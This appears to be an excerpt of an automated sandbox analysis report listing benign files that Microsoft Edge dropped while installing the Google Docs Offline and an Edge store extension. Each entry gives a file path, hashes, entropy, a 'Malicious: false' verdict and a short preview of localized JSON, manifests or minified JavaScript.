SHA-512:	E5F906729E38B23F64D7F146FA48F3ABF6BAED9AAFC0E5F6FA59F369DC47829DBB4BFA94448580BD61A34E844241F590B8D7AEC7091861105D8EBB2590A3BEE9
Malicious:	false
Preview:	{.. "createnew": {.. "message": "T.O M.I".. },.. "explanationofflinedisabled": {.. "message": "B.n .ang ngo.i tuy.n. .. s. d.ng Google T.i li.u m. kh.ng c.n k.t n.i Internet, .i ..n c.i ..t tr.n trang ch. c.a Google T.i li.u v. b.t ..ng b. h.a ngo.i tuy.n v.o l.n ti.p theo b.n ...c k.t n.i v.i m.ng Internet.".. },.. "explanationofflineenabled": {.. "message": "B.n .ang ngo.i tuy.n, tuy nhi.n b.n v.n c. th. ch.nh s.a c.c t.p c. s.n ho.c t.o c.c t.p m.i.".. },.. "extdesc": {.. "message": "Ch.nh s.a, t.o v. xem t.i li.u, b.ng t.nh v. b.n tr.nh b.y . t.t c. m. kh.ng c.n truy c.p Internet.".. },.. "extname": {.. "message": "Google T.i li.u ngo.i tuy.n".. },.. "learnmore": {.. "message": "Ti.m hi..u th.m".. },.. "popuphelptext": {.. "message": "Vi.t, ch.nh s.a v. c.ng t.c

C:\Users\user\AppData\Local\Temp\scoped_dir7556_345516341\CRX_INSTALL\_locales\zh_CN\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	879
Entropy (8bit):	5.7905809868505544
Encrypted:	false
SSDEEP:	12:1HASvgteHCBxNtSBXuetOrgIkA2OrWjMOCBxetSBXK01fg/SOiCSUEQ27e1CBhUj:1HAFsHtrIkA2jqldI/727eggcLk9pf
MD5:	3E76788E17E62FB49FB5ED5F4E7A3DCE
SHA1:	6904FFA0D13D45496F126E58C886C35366EFCC11
SHA-256:	E72D0BB08CC3005556E95A498BD737E7783BB0E56DCC202E7D27A536616F5EE0
SHA-512:	F431E570AB5973C54275C9EEF05E49E6FE2D6C17000F98D672DD31F9A1FAD98E0D50B5B0B9CF85D5BBD3B655B93FD69768C194C8C1688CB962AA75FF1AF9BDB6
Malicious:	false
Preview:	{.. "createnew": {.. "message": "..".. },.. "explanationofflinedisabled": {.. "message": "....................... Google ................ Google ....................".. },.. "explanationofflineenabled": {.. "message": ".............................".. },.. "extdesc": {.. "message": "...................... - ........".. },.. "extname": {.. "message": "Google .......".. },.. "learnmore": {.. "message": "....".. },.. "popuphelptext": {.. "message": "...............................".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7556_345516341\CRX_INSTALL\_locales\zh_HK\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1205
Entropy (8bit):	4.50367724745418
Encrypted:	false
SSDEEP:	24:YWvqB0f7Cr591AhI9Ah8U1F4rw4wtB9G976d6BY9scKUrPoAhNehIrI/uIXS1:YWvl7Cr5JHrw7k7u6BY9trW+rHR
MD5:	524E1B2A370D0E71342D05DDE3D3E774
SHA1:	60D1F59714F9E8F90EF34138D33FBFF6DD39E85A
SHA-256:	30F44CFAD052D73D86D12FA20CFC111563A3B2E4523B43F7D66D934BA8DACE91
SHA-512:	D2225CF2FA94B01A7B0F70A933E1FDCF69CDF92F76C424CE4F9FCC86510C481C9A87A7B71F907C836CBB1CA41A8BEBBD08F68DBC90710984CA738D293F905272
Malicious:	false
Preview:	{"createnew":{"message":"\u5efa\u7acb\u65b0\u9805\u76ee"},"explanationofflinedisabled":{"message":"\u60a8\u8655\u65bc\u96e2\u7dda\u72c0\u614b\u3002\u5982\u8981\u5728\u6c92\u6709\u4e92\u806f\u7db2\u9023\u7dda\u7684\u60c5\u6cc1\u4e0b\u4f7f\u7528\u300cGoogle \u6587\u4ef6\u300d\uff0c\u8acb\u524d\u5f80\u300cGoogle \u6587\u4ef6\u300d\u9996\u9801\u7684\u8a2d\u5b9a\uff0c\u4e26\u5728\u4e0b\u6b21\u9023\u63a5\u4e92\u806f\u7db2\u6642\u958b\u555f\u96e2\u7dda\u540c\u6b65\u529f\u80fd\u3002"},"explanationofflineenabled":{"message":"\u60a8\u8655\u65bc\u96e2\u7dda\u72c0\u614b\uff0c\u4f46\u60a8\u4ecd\u53ef\u4ee5\u7de8\u8f2f\u53ef\u7528\u6a94\u6848\u6216\u5efa\u7acb\u65b0\u6a94\u6848\u3002"},"extdesc":{"message":"\u7de8\u8f2f\u3001\u5efa\u7acb\u53ca\u67e5\u770b\u60a8\u7684\u6587\u4ef6\u3001\u8a66\u7b97\u8868\u548c\u7c21\u5831\uff0c\u5b8c\u5168\u4e0d\u9700\u4f7f\u7528\u4e92\u806f\u7db2\u3002"},"extname":{"message":"\u300cGoogle \u6587\u4ef6\u300d\u96e2\u7dda\u7248"},"learnmore":{"message":"\u77ad\u89e3\u8a

C:\Users\user\AppData\Local\Temp\scoped_dir7556_345516341\CRX_INSTALL\_locales\zh_TW\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	843
Entropy (8bit):	5.76581227215314
Encrypted:	false
SSDEEP:	12:1HASvgmaCBxNtBtA24ZOuAeOEHGOCBxetBtMHQIJECSUnLRNocPNy6CBhU5OGg1O:1HAEfQkekYyLvRmcPGgzcL2kx5U
MD5:	0E60627ACFD18F44D4DF469D8DCE6D30
SHA1:	2BFCB0C3CA6B50D69AD5745FA692BAF0708DB4B5
SHA-256:	F94C6DDEDF067642A1AF18D629778EC65E02B6097A8532B7E794502747AEB008
SHA-512:	6FF517EED4381A61075AC7C8E80C73FAFAE7C0583BA4FA7F4951DD7DBE183C253702DEE44B3276EFC566F295DAC1592271BE5E0AC0C7D2C9F6062054418C7C27
Malicious:	false
Preview:	{.. "createnew": {.. "message": ".....".. },.. "explanationofflinedisabled": {.. "message": ".................. Google ................ Google .................".. },.. "explanationofflineenabled": {.. "message": ".........................".. },.. "extdesc": {.. "message": ".............................".. },.. "extname": {.. "message": "Google .....".. },.. "learnmore": {.. "message": "....".. },.. "popuphelptext": {.. "message": "................................".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7556_345516341\CRX_INSTALL\_locales\zu\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	912
Entropy (8bit):	4.65963951143349
Encrypted:	false
SSDEEP:	24:YlMBKqLnI7EgBLWFQbTQIF+j4h3OadMJzLWnCieqgwLeOvKrCRPE:YlMBKqjI7EQOQb0Pj4heOWqeyaBrMPE
MD5:	71F916A64F98B6D1B5D1F62D297FDEC1
SHA1:	9386E8F723C3F42DA5B3F7E0B9970D2664EA0BAA
SHA-256:	EC78DDD4CCF32B5D76EC701A20167C3FBD146D79A505E4FB0421FC1E5CF4AA63
SHA-512:	30FA4E02120AF1BE6E7CC7DBB15FAE5D50825BD6B3CF28EF21D2F2E217B14AF5B76CFCC165685C3EDC1D09536BFCB10CA07E1E2CC0DA891CEC05E19394AD7144
Malicious:	false
Preview:	{"createnew":{"message":"DALA ENTSHA"},"explanationofflinedisabled":{"message":"Awuxhunyiwe ku-inthanethi. Ukuze usebenzise i-Google Amadokhumenti ngaphandle koxhumano lwe-inthanethi, iya kokuthi izilungiselelo ekhasini lasekhaya le-Google Amadokhumenti bese uvula ukuvumelanisa okungaxhunyiwe ku-inthanethi ngesikhathi esilandelayo lapho uxhunywe ku-inthanethi."},"explanationofflineenabled":{"message":"Awuxhunyiwe ku-inthanethi, kodwa usangakwazi ukuhlela amafayela atholakalayo noma udale amasha."},"extdesc":{"message":"Hlela, dala, futhi ubuke amadokhumenti akho, amaspredishithi, namaphrezentheshini \u2014 konke ngaphandle kokufinyelela kwe-inthanethi."},"extname":{"message":"I-Google Amadokhumenti engaxhumekile ku-intanethi"},"learnmore":{"message":"Funda kabanzi"},"popuphelptext":{"message":"Bhala, hlela, futhi hlanganyela noma yikuphi lapho okhona, unalo noma ungenalo uxhumano lwe-inthanethi."}}.

C:\Users\user\AppData\Local\Temp\scoped_dir7556_345516341\CRX_INSTALL\_metadata\verified_contents.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	11280
Entropy (8bit):	5.752941882424501
Encrypted:	false
SSDEEP:	192:RBG1G1UPkUj/86Op//Ier/2nsNLJtwg+K8HNnswuHEIIMuuqd7CKqvVpfcNLFev:m8IEI4u8ROxev
MD5:	F897300492E3AB467E56883D23D02D77
SHA1:	DECD6DC9E70ECCF9B45983147680614C019B99EA
SHA-256:	F9B3A5747DEDCB5AED58FCFC0F4FD3BD2F2E903F2CCEF90A92A73DBC0F8C3DBD
SHA-512:	B8AC574E24814BAF04A264E7F3F00B4285CD7B66104DFC77897440A898FCA5230775300EC7DEF723678975A04C2CD1BC73A44F77DA26262E8704029930990C62
Malicious:	false
Preview:	[{"description":"treehash per file","signed_content":{"payload":"eyJjb250ZW50X2hhc2hlcyI6W3siYmxvY2tfc2l6ZSI6NDA5NiwiZGlnZXN0Ijoic2hhMjU2IiwiZmlsZXMiOlt7InBhdGgiOiIxMjgucG5nIiwicm9vdF9oYXNoIjoiZ2NWZy0xWWgySktRNVFtUmtjZGNmamU1dzVIc1JNN1ZCTmJyaHJ4eGZ5ZyJ9LHsicGF0aCI6Il9sb2NhbGVzL2FmL21lc3NhZ2VzLmpzb24iLCJyb290X2hhc2giOiJxaElnV3hDSFVNLWZvSmVFWWFiWWlCNU9nTm9ncUViWUpOcEFhZG5KR0VjIn0seyJwYXRoIjoiX2xvY2FsZXMvYW0vbWVzc2FnZXMuanNvbiIsInJvb3RfaGFzaCI6IlpPQWJ3cEs2THFGcGxYYjh4RVUyY0VkU0R1aVY0cERNN2lEQ1RKTTIyTzgifSx7InBhdGgiOiJfbG9jYWxlcy9hci9tZXNzYWdlcy5qc29uIiwicm9vdF9oYXNoIjoiUjJVaEZjdTVFcEJfUUZtU19QeGstWWRrSVZqd3l6WEoxdURVZEMyRE9BSSJ9LHsicGF0aCI6Il9sb2NhbGVzL2F6L21lc3NhZ2VzLmpzb24iLCJyb290X2hhc2giOiJZVVJ3Mmp4UU5Lem1TZkY0YS1xcTBzbFBSSFc4eUlXRGtMY2g4Ry0zdjJRIn0seyJwYXRoIjoiX2xvY2FsZXMvYmUvbWVzc2FnZXMuanNvbiIsInJvb3RfaGFzaCI6IjNmRm9XYUZmUHJNelRXSkJsMXlqbUlyRDZ2dzlsa1VxdzZTdjAyUk1oVkEifSx7InBhdGgiOiJfbG9jYWxlcy9iZy9tZXNzYWdlcy5qc29uIiwicm9vdF9oYXNoIjoiSXJ3M3RIem9xREx6bHdGa0hjTllOWFoyNmI0WWVwT2t4ZFN

C:\Users\user\AppData\Local\Temp\scoped_dir7556_345516341\CRX_INSTALL\dasherSettingSchema.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	854
Entropy (8bit):	4.284628987131403
Encrypted:	false
SSDEEP:	12:ont+QByTwnnGNcMbyWM+Q9TZldnnnGGxlF/S0WOtUL0M0r:vOrGe4dDCVGOjWJ0nr
MD5:	4EC1DF2DA46182103D2FFC3B92D20CA5
SHA1:	FB9D1BA3710CF31A87165317C6EDC110E98994CE
SHA-256:	6C69CE0FE6FAB14F1990A320D704FEE362C175C00EB6C9224AA6F41108918CA6
SHA-512:	939D81E6A82B10FF73A35C931052D8D53D42D915E526665079EEB4820DF4D70F1C6AEBAB70B59519A0014A48514833FEFD687D5A3ED1B06482223A168292105D
Malicious:	false
Preview:	{. "type": "object",. "properties": {. "allowedDocsOfflineDomains": {. "type": "array",. "items": {. "type": "string". },. "title": "Allow users to enable Docs offline for the specified managed domains.",. "description": "Users on managed devices will be able to enable docs offline if they are part of the specified managed domains.". },. "autoEnabledDocsOfflineDomains": {. "type": "array",. "items": {. "type": "string". },. "title": "Auto enable Docs offline for the specified managed domains in certain eligible situations.",. "description": "Users on managed devices, in certain eligible situations, will be able to automatically access and edit recent files offline for the managed domains set in this property. They can still disable it from Drive settings.". }. }.}.

C:\Users\user\AppData\Local\Temp\scoped_dir7556_345516341\CRX_INSTALL\manifest.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2525
Entropy (8bit):	5.417781191647272
Encrypted:	false
SSDEEP:	24:1HEZ4WPoolELb/KxktGw3VwELb/4iL2QDkUpvdz1xxy/Atj1H9yiVvQe:WdP5aLTKQGwlTLT4oRvvxs/APHgiVb
MD5:	35068E2550395A8A3E74558F2F4658DA
SHA1:	BD6620054059BFB7A27A4FFF86B9966727F2C2B9
SHA-256:	E2F418C816895E830541F48C0406B9398805E88B61A4EC816244154CD793743C
SHA-512:	4BCB971D7353648ABF25ACA7A4A4771F62BBB76F8FC13BDE886F29826D9314F5101942492004FC719493604D317958B63A95CF5173F8180214F27D6BEA303F97
Malicious:	false
Preview:	{.. "author": {.. "email": "docs-hosted-app-own@google.com".. },.. "background": {.. "service_worker": "service_worker_bin_prod.js".. },.. "content_capabilities": {.. "matches": [ "https://docs.google.com/", "https://drive.google.com/", "https://drive-autopush.corp.google.com/", "https://drive-daily-0.corp.google.com/", "https://drive-daily-1.corp.google.com/", "https://drive-daily-2.corp.google.com/", "https://drive-daily-3.corp.google.com/", "https://drive-daily-4.corp.google.com/", "https://drive-daily-5.corp.google.com/", "https://drive-daily-6.corp.google.com/", "https://drive-preprod.corp.google.com/", "https://drive-staging.corp.google.com/" ],.. "permissions": [ "clipboardRead", "clipboardWrite", "unlimitedStorage" ].. },.. "content_security_policy": {.. "extension_pages": "script-src 'self'; object-src 'self'".. },.. "default_locale": "en_US",.. "description": "__MSG_extDesc__",.. "externally_connectable": {.. "ma

C:\Users\user\AppData\Local\Temp\scoped_dir7556_345516341\CRX_INSTALL\offscreendocument.html

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	HTML document, ASCII text
Category:	dropped
Size (bytes):	97
Entropy (8bit):	4.862433271815736
Encrypted:	false
SSDEEP:	3:PouV7uJL5XL/oGLvLAAJR90bZNGXIL0Hac4NGb:hxuJL5XsOv0EmNV4HX4Qb
MD5:	B747B5922A0BC74BBF0A9BC59DF7685F
SHA1:	7BF124B0BE8EE2CFCD2506C1C6FFC74D1650108C
SHA-256:	B9FA2D52A4FFABB438B56184131B893B04655B01F336066415D4FE839EFE64E7
SHA-512:	7567761BE4054FCB31885E16D119CD4E419A423FFB83C3B3ED80BFBF64E78A73C2E97AAE4E24AB25486CD1E43877842DB0836DB58FBFBCEF495BC53F9B2A20EC
Malicious:	false
Preview:	<!DOCTYPE html>.<html>.<body>. <script src="offscreendocument_main.js"></script>.</body>.</html>

C:\Users\user\AppData\Local\Temp\scoped_dir7556_345516341\CRX_INSTALL\offscreendocument_main.js

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with very long lines (3700)
Category:	dropped
Size (bytes):	95606
Entropy (8bit):	5.405749379350638
Encrypted:	false
SSDEEP:	1536:rFTnpa+88KmEfryTdXPVy0d8RZZ0Qk4CWbsnf29Gmyj9tIRRduRnCrl:almPXPVCFCWbsnDVQRwF0l
MD5:	9D0EF4F7CB0306DCB7A7CDCD6DC2CCC7
SHA1:	88D7F0A88C5807BFE00F13B612CC0522EEBE514A
SHA-256:	E5E4392B21A21ECAFD27707BF70F95961B2656735A20B40BA54479D40EAB063C
SHA-512:	34CD9AF9199DE606A531E98DB82BEAA5552E59BCCB2AB2BF49F82D6FA05425EB6936BC5F03BFC421AB6980B91395D9FDC5F0776882E1D49B3217CD35641FF906
Malicious:	false
Preview:	'use strict';function aa(){return function(a){return a}}function ba(){return function(){}}function l(a){return function(){return this[a]}}function ca(a){return function(){return a}}var n;function da(a){var b=0;return function(){return b<a.length?{done:!1,value:a[b++]}:{done:!0}}}var ea=typeof Object.defineProperties=="function"?Object.defineProperty:function(a,b,c){if(a==Array.prototype\|\|a==Object.prototype)return a;a[b]=c.value;return a};.function fa(a){a=["object"==typeof globalThis&&globalThis,a,"object"==typeof window&&window,"object"==typeof self&&self,"object"==typeof global&&global];for(var b=0;b<a.length;++b){var c=a[b];if(c&&c.Math==Math)return c}throw Error("Cannot find global object");}var q=fa(this);function r(a,b){if(b)a:{var c=q;a=a.split(".");for(var d=0;d<a.length-1;d++){var e=a[d];if(!(e in c))break a;c=c[e]}a=a[a.length-1];d=c[a];b=b(d);b!=d&&b!=null&&ea(c,a,{configurable:!0,writable:!0,value:b})}}.r("Symbol",function(a){function b(f){if(this instanceof b)throw new Ty

C:\Users\user\AppData\Local\Temp\scoped_dir7556_345516341\CRX_INSTALL\page_embed_script.js

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	291
Entropy (8bit):	4.65176400421739
Encrypted:	false
SSDEEP:	6:2LGX86tj66rU8j6D3bWq2un/XBtzHrH9Mnj63LK603:2Q8KVqb2u/Rt3Onj1
MD5:	3AB0CD0F493B1B185B42AD38AE2DD572
SHA1:	079B79C2ED6F67B5A5BD9BC8C85801F96B1B0F4B
SHA-256:	73E3888CCBC8E0425C3D2F8D1E6A7211F7910800EEDE7B1E23AD43D3B21173F7
SHA-512:	32F9DB54654F29F39D49F7A24A1FC800DBC0D4A8A1BAB2369C6F9799BC6ADE54962EFF6010EF6D6419AE51D5B53EC4B26B6E2CDD98DEF7CC0D2ADC3A865F37D3
Malicious:	false
Preview:	(function(){window._docs_chrome_extension_exists=!0;window._docs_chrome_extension_features_version=2;window._docs_chrome_extension_permissions="alarms clipboardRead clipboardWrite storage unlimitedStorage offscreen".split(" ");window._docs_chrome_extension_manifest_version=3;}).call(this);.

C:\Users\user\AppData\Local\Temp\scoped_dir7556_345516341\CRX_INSTALL\service_worker_bin_prod.js

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with very long lines (3705)
Category:	dropped
Size (bytes):	104595
Entropy (8bit):	5.385879258644142
Encrypted:	false
SSDEEP:	1536:CvBfoqPByzpq7Wj3X5GtH2n4JvHDxwKMpFs0vuFfkR/2oTnHu96Iny0Kj2ThzfS:BlXQtoZrs0vskDTHu9rhTS
MD5:	4E0C47897BF98DEAC56F800942E150C4
SHA1:	7903D30E0ACEE273724BDAA67446D9FD4E8460A5
SHA-256:	FE76EA0C2F81E6140F38F4143B40BE85014B93FF80737600CFB39AEB5C8C6537
SHA-512:	8B31463FC683439BAB5D4AEFE2BE0F6A9F5B695C2D95AFF3F842BFC74B10AE3D386D288121161506F74A08FB86D25C1096DA4177B768254BF84E83983982640F
Malicious:	false
Preview:	'use strict';function aa(){return function(){}}function k(a){return function(){return this[a]}}function ba(a){return function(){return a}}var n;function ca(a){var b=0;return function(){return b<a.length?{done:!1,value:a[b++]}:{done:!0}}}var da=typeof Object.defineProperties=="function"?Object.defineProperty:function(a,b,c){if(a==Array.prototype\|\|a==Object.prototype)return a;a[b]=c.value;return a};.function ea(a){a=["object"==typeof globalThis&&globalThis,a,"object"==typeof window&&window,"object"==typeof self&&self,"object"==typeof global&&global];for(var b=0;b<a.length;++b){var c=a[b];if(c&&c.Math==Math)return c}throw Error("Cannot find global object");}var q=ea(this);function r(a,b){if(b)a:{var c=q;a=a.split(".");for(var d=0;d<a.length-1;d++){var e=a[d];if(!(e in c))break a;c=c[e]}a=a[a.length-1];d=c[a];b=b(d);b!=d&&b!=null&&da(c,a,{configurable:!0,writable:!0,value:b})}}.r("Symbol",function(a){function b(f){if(this instanceof b)throw new TypeError("Symbol is not a constructor");retu

C:\Users\user\AppData\Local\Temp\scoped_dir7556_440364872\9abc29c3-ea80-456b-b7a0-2986cccc8288.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	Google Chrome extension, version 3
Category:	dropped
Size (bytes):	11185
Entropy (8bit):	7.951995436832936
Encrypted:	false
SSDEEP:	192:YEKh1jNlwQbamjq6Bcykrs3kAVg55GzVQM5F+XwsxNv7/lsoltBq0WG4ZeJTmrRb:fKT/BAzA05Gn5F+XV7NNltrWG4kJTm1b
MD5:	78E47DDA17341BED7BE45DCCFD89AC87
SHA1:	1AFDE30E46997452D11E4A2ADBBF35CCE7A1404F
SHA-256:	67D161098BE68CD24FEBC0C7B48F515F199DDA72F20AE3BBB97FCF2542BB0550
SHA-512:	9574A66D3756540479DC955C4057144283E09CAE11CE11EBCE801053BB48E536E67DC823B91895A9E3EE8D3CB27C065D5E9030C39A26CBF3F201348385B418A5
Malicious:	false
Preview:	Cr24..............0.."0....H.............0.........N.......E#......9e.u.q...VYY..@.+.C..k.O..bK.`..6.G..%.....3Z...e _.6....F..1p..K.Z......./ .3...OT..`..0...Y...FT..43.th.y...}....p.L...2S.&i.`..o...f.oH.....N..:..ijT.3.F{.0.,.f?'f.CQt;b_"Pc.. ..~S.I.c.8Z.;.....{G.a......k...>.`.o..%.$>;.....g.............jg?.R..@.:..........&..{...x@.Py..;kT....%F".S..w...N....9...A..@X.t!i.@..1;......1E..X.....[.~$....J......;=T.;)k..Y...$......S......M.P..P..>..=..u.....2p...w.9..1qw.a\A..Vj .C.....A..Cf1.r6.A...L. _m...[..l.Wr_../.. .B..9!.!+..ZG.K.......0.."0....H.............0.........^SUd%Q.L].......Cl2o...\[.....'*...;R=....N.C5....d. .....J.C>u.kr..Y..syJC.XS.q..E.n?....(G.5..)2.G..!.M.SS.{..U....!.EE..M[.#qs.A.1...g)nQ.c..G....Bd..7... .O.BI..KXQ..4.d.K.0......g.....-p....Z.E{...M&.~n.TE7..{0....5.#.C+3.y)pd9.e.........@..3.9..B.....I....2nX........2.?.~..S....]G.N.....Lr.O.Ve....9..D1.G..W)...P.?=.#..7.R.lz..a.wX.e..h.h.~....v..RP.@X....d.G

C:\Users\user\AppData\Local\Temp\scoped_dir7556_440364872\CRX_INSTALL\_metadata\verified_contents.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1753
Entropy (8bit):	5.8889033066924155
Encrypted:	false
SSDEEP:	48:Pxpr7Xka2NXDpfsBJODI19Kg1JqcJW9O//JE3ZBDcpu/x:L3XgNSz9/4kIO3u3Xgpq
MD5:	738E757B92939B24CDBBD0EFC2601315
SHA1:	77058CBAFA625AAFBEA867052136C11AD3332143
SHA-256:	D23B2BA94BA22BBB681E6362AE5870ACD8A3280FA9E7241B86A9E12982968947
SHA-512:	DCA3E12DD5A9F1802DB6D11B009FCE2B787E79B9F730094367C9F26D1D87AF1EA072FF5B10888648FB1231DD83475CF45594BB0C9915B655EE363A3127A5FFC2
Malicious:	false
Preview:	[.. {.. "description": "treehash per file",.. "signed_content": {.. "payload": "eyJpdGVtX2lkIjoiam1qZmxnanBjcGVwZWFmbW1nZHBma29na2doY3BpaGEiLCJpdGVtX3ZlcnNpb24iOiIxLjIuMSIsInByb3RvY29sX3ZlcnNpb24iOjEsImNvbnRlbnRfaGFzaGVzIjpbeyJmb3JtYXQiOiJ0cmVlaGFzaCIsImRpZ2VzdCI6InNoYTI1NiIsImJsb2NrX3NpemUiOjQwOTYsImhhc2hfYmxvY2tfc2l6ZSI6NDA5NiwiZmlsZXMiOlt7InBhdGgiOiJjb250ZW50LmpzIiwicm9vdF9oYXNoIjoiQS13R1JtV0VpM1lybmxQNktneUdrVWJ5Q0FoTG9JZnRRZGtHUnBEcnp1QSJ9LHsicGF0aCI6ImNvbnRlbnRfbmV3LmpzIiwicm9vdF9oYXNoIjoiVU00WVRBMHc5NFlqSHVzVVJaVTFlU2FBSjFXVENKcHhHQUtXMGxhcDIzUSJ9LHsicGF0aCI6Im1hbmlmZXN0Lmpzb24iLCJyb290X2hhc2giOiJKNXYwVTkwRmN0ejBveWJMZmZuNm5TbHFLU0h2bHF2YkdWYW9FeWFOZU1zIn1dfV19",.. "signatures": [.. {.. "header": {.. "kid": "publisher".. },.. "protected": "eyJhbGciOiJSUzI1NiJ9",.. "signature": "UglEEilkOml5P1W0X6wc-_dB87PQB73uMir11923av57zPKujb4IUe_lbGpn7cRZsy6x-8i9eEKxAW7L2TSmYqrcp4XtiON6ppcf27FWACXOUJDax9wlMr-EOtyZhykCnB9vR

C:\Users\user\AppData\Local\Temp\scoped_dir7556_440364872\CRX_INSTALL\content.js

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	Unicode text, UTF-8 text, with very long lines (8031), with no line terminators
Category:	dropped
Size (bytes):	9815
Entropy (8bit):	6.1716321262973315
Encrypted:	false
SSDEEP:	192:+ThBV4L3npstQp6VRtROQGZ0UyVg4jq4HWeGBnUi65Ep4HdlyKyjFN3zEScQZBMX:+ThBVq3npozftROQIyVfjRZGB365Ey97
MD5:	3D20584F7F6C8EAC79E17CCA4207FB79
SHA1:	3C16DCC27AE52431C8CDD92FBAAB0341524D3092
SHA-256:	0D40A5153CB66B5BDE64906CA3AE750494098F68AD0B4D091256939EEA243643
SHA-512:	315D1B4CC2E70C72D7EB7D51E0F304F6E64AC13AE301FD2E46D585243A6C936B2AD35A0964745D291AE9B317C316A29760B9B9782C88CC6A68599DB531F87D59
Malicious:	false
Preview:	(()=>{"use strict";var e={1:(e,o)=>{Object.defineProperty(o,"__esModule",{value:!0}),o.newCwsPromotionalButtonCta=o.chromeToEdgeCwsButtonCtaMapping=void 0,o.chromeToEdgeCwsButtonCtaMapping={"...... ... Chrome":"...... ....","........ .. Chrome":".....",........:"..........",".......... .. Chrome":"..........","Chrome . .....":"...","Chrome .... ....":"....","Afegeix a Chrome":"Obt.n","Suprimeix de Chrome":"Suprimeix","P.idat do Chromu":"Z.skat","Odstranit z Chromu":"Odebrat","F.j til Chrome":"F.","Fjern fra Chrome":"Fjerne",Hinzuf.gen:"Abrufen","Aus Chrome entfernen":"Entfernen","Add to Chrome":"Get","Remove from Chrome":"Remove","A.adir a Chrome":"Obtener",Desinstalar:"Quitar","Agregar a Chrome":"Obtener","Eliminar de Chrome":"Quitar","Lisa Chrome'i":"Hangi","Chrome'ist eemaldamine":"Eemalda",.......H:"........","......... ... .. Chr

C:\Users\user\AppData\Local\Temp\scoped_dir7556_440364872\CRX_INSTALL\content_new.js

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	Unicode text, UTF-8 text, with very long lines (8604), with no line terminators
Category:	dropped
Size (bytes):	10388
Entropy (8bit):	6.174387413738973
Encrypted:	false
SSDEEP:	192:+ThBV4L3npstQp6VRtROQGZ0UyVg4jq4HWeGBnUi65Ep4HdlyKyjFN3EbmE1F4fn:+ThBVq3npozftROQIyVfjRZGB365Ey9+
MD5:	3DE1E7D989C232FC1B58F4E32DE15D64
SHA1:	42B152EA7E7F31A964914F344543B8BF14B5F558
SHA-256:	D4AA4602A1590A4B8A1BCE8B8D670264C9FB532ADC97A72BC10C43343650385A
SHA-512:	177E5BDF3A1149B0229B6297BAF7B122602F7BD753F96AA41CCF2D15B2BCF6AF368A39BB20336CCCE121645EC097F6BEDB94666C74ACB6174EB728FBFC43BC2A
Malicious:	false
Preview:	(()=>{"use strict";var e={1:(e,o)=>{Object.defineProperty(o,"__esModule",{value:!0}),o.newCwsPromotionalButtonCta=o.chromeToEdgeCwsButtonCtaMapping=void 0,o.chromeToEdgeCwsButtonCtaMapping={"...... ... Chrome":"...... ....","........ .. Chrome":".....",........:"..........",".......... .. Chrome":"..........","Chrome . .....":"...","Chrome .... ....":"....","Afegeix a Chrome":"Obt.n","Suprimeix de Chrome":"Suprimeix","P.idat do Chromu":"Z.skat","Odstranit z Chromu":"Odebrat","F.j til Chrome":"F.","Fjern fra Chrome":"Fjerne",Hinzuf.gen:"Abrufen","Aus Chrome entfernen":"Entfernen","Add to Chrome":"Get","Remove from Chrome":"Remove","A.adir a Chrome":"Obtener",Desinstalar:"Quitar","Agregar a Chrome":"Obtener","Eliminar de Chrome":"Quitar","Lisa Chrome'i":"Hangi","Chrome'ist eemaldamine":"Eemalda",.......H:"........","......... ... .. Chr

C:\Users\user\AppData\Local\Temp\scoped_dir7556_440364872\CRX_INSTALL\manifest.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	962
Entropy (8bit):	5.698567446030411
Encrypted:	false
SSDEEP:	24:1Hg9+D3DRnbuF2+sUrzUu+Y9VwE+Fg41T1O:NBqY+6E+F7JO
MD5:	E805E9E69FD6ECDCA65136957B1FB3BE
SHA1:	2356F60884130C86A45D4B232A26062C7830E622
SHA-256:	5694C91F7D165C6F25DAF0825C18B373B0A81EA122C89DA60438CD487455FD6A
SHA-512:	049662EF470D2B9E030A06006894041AE6F787449E4AB1FBF4959ADCB88C6BB87A957490212697815BB3627763C01B7B243CF4E3C4620173A95795884D998A75
Malicious:	false
